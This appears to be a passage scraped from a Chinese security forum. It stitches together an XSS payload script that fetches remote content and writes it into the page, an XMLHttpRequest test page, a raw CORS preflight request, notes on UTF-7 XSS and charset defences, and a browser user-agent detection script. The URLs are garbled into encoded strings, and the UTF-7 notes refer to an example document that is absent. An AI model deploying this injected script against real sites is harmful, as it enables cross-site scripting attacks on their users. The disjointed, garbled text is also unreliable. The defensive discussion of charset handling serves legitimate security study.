<script>function XSS(){
a = new ActiveXObject('Microsoft.XMLHTTP');
a.open('get', 'b29K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0S2K9h3c8#2i4K6u0W2j5$3!0E0i4K6t1%4i4K6u0o6 false);
a.send();
b = a.responseText;
document.write(b);
}
XSS();
</script>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-type" content="text/html;charset=utf-8" />
<title>XssPayloadTest</title>
<script type = "text/javascript">
var xmlhttp;
function LoadXMLDoc(url)
{
xmlhttp = null;
if (window.XMLHttpRequest)
{
xmlhttp = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
if (xmlhttp != null)
{
xmlhttp.onreadystatechange = state_Change();
xmlhttp.open("GET", url, true);
xmlhttp.send(null);
}
else
{
alert("your browser does not support XMLHTTP");
}
}
function state_Change()
{
if (xmlhttp.readyState == 4)
{
if (xmlhttp.status == 200)
{
document.getElementById('T1').innerHTML = xmlhttp.responseText;
}
else
{
alert("problem retrieving data:" + xmlhttp.statusText);
}
}
}
</script>
</head>
<body onload = "LoadXMLDoc('http://bbs.pediy.com/index.php')">
<div id = "T1" style = "border:1px solid black;height:40;width:300;padding:5"></div><br />
<button onclick = "LoadXMLDoc('956K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4Z5j5i4W2A6x3e0V1^5x3#2)9J5k6h3u0D9L8$3N6Q4x3X3f1#2x3h3y4@1L8#2)9J5k6h3y4G2L8g2)9J5y4#2)9J5z5b7`.`.">Click</button>
</body>
</html>
var xhr = new XMLHttpRequest();
xhr.open("PUT", "304K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5K9h3g2F1k6r3I4&6f1$3W2@1k6g2)9J5k6h3y4G2L8g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2K9s2c8E0L8l9`.`.", true);
xhr.send();
OPTIONS 28aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5K9h3g2F1k6r3I4&6f1$3W2@1k6g2)9J5k6h3y4G2L8g2)9J5c8X3W2F1k6r3g2^5i4K6u0W2K9s2c8E0L8l9`.`. HTTP/1.1
Host: 27fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3k6J5K9h3g2F1k6r3I4&6f1$3W2@1k6g2)9J5k6h3y4G2L8b7`.`.
User-Agent: Mozilla/5.0(Macintosh; Intel Mac OS X 10.7; rv:11.0) Gecko/20150101 Firefox/37.0
Accept: text/html,application/xhtml+xml,applicatiin/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.5
Origin: c1fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4N6W2j5W2y4A6N6r3g2Q4x3X3g2U0L8$3@1`.
Accept-Control-Request-Method: PUT
1。如果 web 服务器在返回的 HTTP Content-Type 响应头中,没有明确设置字符集编码,并且响应体中的 HTML 文档中的 meta 元素内,也没有设置字符集编码,那么浏览器在碰到任何 UTF-7 字符时,都会尝试确定其编码方案,并且解码还原成明文字符,以上述文档为例,就会弹出提示框;
2。如果 web 服务器在返回的 HTTP Content-Type 响应头中,明确设置字符集编码为 UTF-8,并且响应体中的 HTML 文档中的 meta 元素内设置的字符编码为 UTF-7,那么浏览器最终将按照响应头中的设置(响应头的优先级比响应体中 meta 标签的优先级高 ),以上述文档为例,不会弹出提示框(因为采用 UTF-8 字符编码时,浏览器无法识别,解码 +ADW- 与 +AD4- 字符);
3。如果 web 服务器在返回的 HTTP Content-Type 响应头中,设置字符集编码为 UTF-7,并且响应体中的 HTML 文档中的 meta 元素内设置的字符编码为 UTF-8,
根据浏览器的采用优先级原则,上述文档将会弹出提示框;
总结,应对 UTF-7 XSS攻击,从最终用户防御的角度来看,应该确保浏览器总是处在当前的最新版本状态;从 web 站点防御的角度来看,应该明确在响应头与响应体的 HTML 文档中,设置字符编码为 UTF-8 或者其它安全的编码方案;
并且过滤掉任何 UTF-7 危险字符,如果没有把握通过编程屏蔽所有危害字符,则可以模仿浏览器的 HTML 解析引擎将用户输入的内容在内存中保留一份副本,将其渲染成 HTML 页面,在渲染结果中查找任何明文的危害字符,对其进行编码过滤,然后再次渲染,再过滤,直到完全清除干净后,才可以把最终的文档返回给客户端。
由于各种浏览器对于新的 HTML5 规范,以及 DOM 的支持,实现程度不一致,为了保证自己所编写的文档,以及其中的脚本代码能够在所有主流浏览器中正确运行,一种解决办法是:先判断浏览器类型,然后执行相应浏览器支持的代码块。实现这个功能的关键,在于浏览器的用户代理字串值,即 navigator.userAgent
实现逻辑如下:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-type" content="text/html;charset=UTF-8" />
<title>XssPayloadTest</title>
</head>
<body>
<script>
document.write(navigator.userAgent);
document.write("<br><br>");
var isIE = navigator.userAgent.indexOf('Trident') > 0;
var isChrome = navigator.userAgent.indexOf('Chrome') > 0;
var isFirefox = navigator.userAgent.indexOf('Firefox') > 0;
var isOpera = navigator.userAgent.indexOf('OPR') > 0;
if (isIE){
document.write('<b>您使用的是IE浏览器</b>');
}else if (isChrome){
if (isOpera){
document.write('<b>您使用的是Opera浏览器</b>');
}else{
document.write('<b>您使用的是Chrome浏览器</b>');
}
}else if (isFirefox){
document.write('<b>您使用的是Firefox浏览器</b>');
}else{
document.write('<b>您使用的是其它浏览器</b>');
}
</script>
</body>
</html>
这是一个非常简单的先判断然后输出用户使用的浏览器类型的页面。
第8行直接在当前页面输出打开该页面的浏览器的用户代理字串;第11~14行分别查找各种浏览器的用户代理字串中,能够唯一识别浏览器类型的关键词,这是由于,在早期的“浏览器世界大战”中,许多 web 页面的特定内容仅支持 Netscape Navigator 浏览器(网景公司的产品,其 “Mozilla” 字串就是它首创的,含义为“Mosaic Killer”,即浏览器鼻祖 Mosaic 的杀手),而其它品牌浏览器为了提高自身市场份额与竞争力,也在其用户代理中添加了“Mozilla”字串,用于告诉目标站点:“我是与 Mozilla 兼容的浏览器”,如此一来,站点就会返回原本仅响应给 Mozilla 浏览器的页面内容,而这个内容通常是比较丰富的;